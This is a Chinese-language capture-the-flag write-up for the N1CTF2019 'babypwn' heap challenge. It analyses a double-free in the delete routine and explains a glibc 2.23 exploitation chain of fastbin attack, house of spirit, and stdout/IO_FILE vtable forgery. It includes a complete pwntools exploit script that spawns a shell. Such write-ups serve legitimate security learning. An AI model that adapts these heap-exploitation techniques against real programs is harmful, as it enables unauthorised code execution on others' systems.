N1CTF2019——babypwn WP

保护 【N1CTF2019——babypwn WP】N1CTF2019——babypwn WP
文章图片

  • 我的测试环境为ubuntu16.04.1
分析
  • 添加操作中限制只能添加10个结构体:
    N1CTF2019——babypwn WP
    文章图片
  • 结构体为:
struct Staff{ char Name[0x10]; char *Description; intDescription_Size; };

  • 漏洞存在删除操作中:
    N1CTF2019——babypwn WP
    文章图片
  • 总的二进制程序逆向分析到这,下面来考虑怎么利用。
利用
  • 这道题和warmup那道题有点相似,但因为这是glibc2.23,所以只能用fastbin attack来攻击IO_FILE,泄露内存;再利用一次fastbin attack攻击IO_FILE或者malloc_hook来getshell。
  • 但实际操作之后发现,只有9个结构体可控是完全不能达到getshell的目的,于是考虑要用一个结构体来清空整个结构体列表。
  • 比较简单的方法就是先fastbin attack结构体列表,然后利用house of sprit技术来得到一个可控的结构体列表指针。
  • fastbin attack结构体列表很简单,既然要用到house of sprit,就要伪造如下图所示的chunk:
    N1CTF2019——babypwn WP
    文章图片
  • 说明一下,这么构造的理由。首先注意到程序删除操作中,释放的是结构体的Description成员,偏移为0x10,这里的0x602050相当于结构体的基址。0x602050+0x10=0x206060,也就是Description指针指向的内存,它的实际大小为0x50。为什么next size我设定为0x71?这里先卖个关子。
  • 然后就是正常的做法,分配3个结构体,大小为0x60、0x90、0x60,顺序很重要,这是为了尽量保证后面构造fastbin loop时,只有低8位不同。
  • 释放0x90的chunk就会出现unsortbin chunk,再添加一个0x60的chunk就会包含有libc中的地址,修改低16位为stdout附近的低16位,构造fastbin loop。
  • 再添加一个0x60大小的chunk,修改低16位为0就会指向上一块0x60大小的chunk head。以上过程的代码描述:
Add(p64(0)+p64(0x51),0x60,p64(0)+p64(0x51))#0 Add(p64(0)+p64(0x51),0x90,p64(0)+p64(0x51))#1 Add(p64(0)+p64(0x51),0x60,p64(0)+p64(0x51))#2Del(1) Add(p64(0)*2,0x60,p16(0x25dd))#4 Del(2) Del(0) Del(2) Del(0) Add(p64(0)*2,0x60,'\x00')#5

  • 这里多出一个 Del(0) 是为了消除前面释放的0x90大小的chunk后带来的影响,具体细节自己调试便知!
  • 此时剩余可分配的结构体数量已不够我们后续的使用,所以需要清空一次列表,后续部分的利用就很常规了,只要注意清空列表即可,详见EXP。
  • 在拿到libc的基址之后可以fastbin attack malloc_hook,可是我本机上的one_gadget均不符合使用条件,这使我像是吃了土一样难受!
  • 只好利用IO_FILE来getshell,于是我选取了0x6020b0来伪造vtble,因此才有了一开始伪造chunk的时候把next size设为0x71这一出。
  • 总而言之,过程十分周折!
EXP
#encoding=utf-8 from pwn import*#context.log_level=1 def Add(name,size,data): p.sendlineafter('choice:','1') p.sendafter('name:',name) p.sendlineafter('size:',str(size)) p.sendafter('Description:',data) def Del(idx): p.sendlineafter('choice:','2') p.sendlineafter('index:',str(idx))baby_list=0x0000000000602060 libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)while True: try: p=process('./BabyPwn')Add('\n', 0x60, '\n')# 0 Add('\n', 0x60, '\n')# 1Del(0) Del(1) Del(0) Add(p64(0x60203d),0x60,p64(0x60203d))#5 Add('\n',0x60,'\n') Add('\n',0x60,'\n') Add('\n',0x60,'\0'*3+p64(0x602050)+p64(0x51)+p64(0x602060)+p64(0)+p64(0)*7+p64(0x71)) Del(-2)#得到一个结构体列表的指针在下次分配0x40大小时就能被控制Add(p64(0)+p64(0x51),0x60,p64(0)+p64(0x51))#0 Add(p64(0)+p64(0x51),0x90,p64(0)+p64(0x51))#1 Add(p64(0)+p64(0x51),0x60,p64(0)+p64(0x51))#2Del(1) Add(p64(0)*2,0x60,p16(0x25dd))#4 Del(2) Del(0) Del(2) Del(0) Add(p64(0)*2,0x60,'\x00')#5 #清空结构体列表 Add('\n',0x48,p64(0x602060)+p64(0)+p64(0)*7+p64(0x51))#6 Del(-2)Add('\0',0x60,'\0')#0 Add('\0',0x60,'\0')#1 Add('\n',0x60,'\n')#2 Add('\n',0x60,'\0'*0x33+p32(0xfbad1880)+'; sh; '+p64(0)*3+'\x88')#3 leak=p.recvuntil('OK!') if len(leak)<8: raise EOFError libc_base=u64(leak[0:6].ljust(8,'\0'))-libc.sym['_IO_2_1_stdin_'] stdout=libc_base+libc.sym['_IO_2_1_stdout_'] success("libc_base:"+hex(libc_base)) success("stdout:"+hex(stdout))Del(0) Del(1) Del(0)Add('\n',0x60,p64(0x6020a0))#4 Add('\n',0x60,'\n')#5 Add('\n',0x60,'\n')#6 Add('\n',0x48,p64(0)*8)#7 清空结构体列表Add('\n',0x60,p64(0)*2+p64(libc_base+libc.sym['system'])*10)#0 构造 vtable Add('\0',0x60,'\0')#1 Add('\0',0x60,'\0')#2Del(1) Del(2) Del(1)Add('\n',0x60,p64(stdout+157))#3 Add('\n',0x60,'\n')#4 Add('\n',0x60,'\n')#5 Add('\n',0x60,'\0'*3+p64(0)*5+p64(0x6020b0))#6 #gdb.attach(p,'x/30gx '+str(0x0000000000602040)+'\nheap chunks\nheap bins') p.interactive() exit(0) except EOFError,e: p.close()

总结
  • 此题正好可以与warmup那一题做个比较。
  • 学到了怎么灵活应用攻击手段,怎么构造堆。

    推荐阅读